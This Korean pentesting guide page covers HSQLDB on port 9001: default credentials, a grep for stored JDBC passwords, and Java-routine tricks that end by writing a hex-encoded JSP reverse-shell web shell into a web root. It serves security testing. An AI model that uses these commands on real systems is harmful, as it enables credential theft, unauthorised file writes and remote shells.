# 9001 - Pentesting HSQLDB {{#include ../banners/hacktricks-training.md}} ## 기본 정보 **HSQLDB \([HyperSQL DataBase](http://hsqldb.org/)\)**는 Java로 작성된 주요 SQL 관계형 데이터베이스 시스템입니다. 메모리 내 및 디스크 기반 테이블을 갖춘 작고 빠른 다중 스레드 및 트랜잭션 데이터베이스 엔진을 제공하며, 임베디드 및 서버 모드를 지원합니다. **기본 포트:** 9001 ```text 9001/tcp open jdbc HSQLDB JDBC (Network Compatibility Version 2.3.4.0) ``` ## 기본 설정 기본적으로 이 서비스는 메모리에서 실행되거나 localhost에 바인딩되어 있을 가능성이 높습니다. 이를 발견했다면, 아마도 다른 서비스를 이용해 취약점을 이용하고 권한 상승을 시도하고 있는 것입니다. 기본 자격 증명은 일반적으로 `sa`와 빈 비밀번호입니다. 다른 서비스를 이용했다면, 가능한 자격 증명을 검색하십시오. ```text grep -rP 'jdbc:hsqldb.*password.*' /path/to/search ``` 데이터베이스 이름을 주의 깊게 기록하세요 - 연결하는 데 필요합니다. ## 정보 수집 [HSQLDB 다운로드](https://sourceforge.net/projects/hsqldb/files/) 후 `hsqldb/lib/hsqldb.jar`를 추출하여 DB 인스턴스에 연결합니다. `java -jar hsqldb.jar`를 사용하여 GUI 앱 \(eww\)을 실행하고 발견된/약한 자격 증명을 사용하여 인스턴스에 연결합니다. 원격 시스템의 경우 연결 URL은 다음과 비슷하게 보일 것입니다: `jdbc:hsqldb:hsql://ip/DBNAME`. ## 트릭 ### 자바 언어 루틴 HSQLDB에서 자바 언어 루틴을 사용하여 자바 클래스의 정적 메서드를 호출할 수 있습니다. 호출된 클래스는 애플리케이션의 클래스 경로에 있어야 합니다. JRT는 `functions` 또는 `procedures`일 수 있습니다. 함수는 자바 메서드가 하나 이상의 SQL 호환 기본 변수를 반환하는 경우 SQL 문을 통해 호출할 수 있습니다. `VALUES` 문을 사용하여 호출됩니다. 우리가 호출하려는 자바 메서드가 void를 반환하는 경우, `CALL` 문으로 호출되는 프로시저를 사용해야 합니다. ### 자바 시스템 속성 읽기 함수 생성: ```text CREATE FUNCTION getsystemproperty(IN key VARCHAR) RETURNS VARCHAR LANGUAGE JAVA DETERMINISTIC NO SQL EXTERNAL NAME 'CLASSPATH:java.lang.System.getProperty' ``` 함수 실행: ```text VALUES(getsystemproperty('user.name')) ``` 다음은 [시스템 속성 목록을 여기에서 찾을 수 있습니다](https://docs.oracle.com/javase/tutorial/essential/environment/sysprop.html). ### 파일에 내용 쓰기 `com.sun.org.apache.xml.internal.security.utils.JavaUtils.writeBytesToFilename` Java 가젯을 사용하여 사용자 정의 프로시저를 통해 16진수 인코딩된 항목을 디스크에 쓸 수 있습니다 \(JDK에 자동으로 로드됨\). **최대 크기는 1024 바이트입니다**. 프로시저 생성: ```text CREATE PROCEDURE writetofile(IN paramString VARCHAR, IN paramArrayOfByte VARBINARY(1024)) LANGUAGE JAVA DETERMINISTIC NO SQL EXTERNAL NAME 'CLASSPATH:com.sun.org.apache.xml.internal.security.utils.JavaUtils.writeBytesToFilename' ``` 프로시저 실행: ```text call writetofile('/path/ROOT/shell.jsp', cast ('3c2540207061676520696d706f72743d226a6176612e696f2e2a2220253e0a3c250a202020537472696e6720636d64203d20222f62696e2f62617368202d69203e26202f6465762f7463702f3139322e3136382e3131392[...]' AS VARBINARY(1024))) ``` {{#include ../banners/hacktricks-training.md}}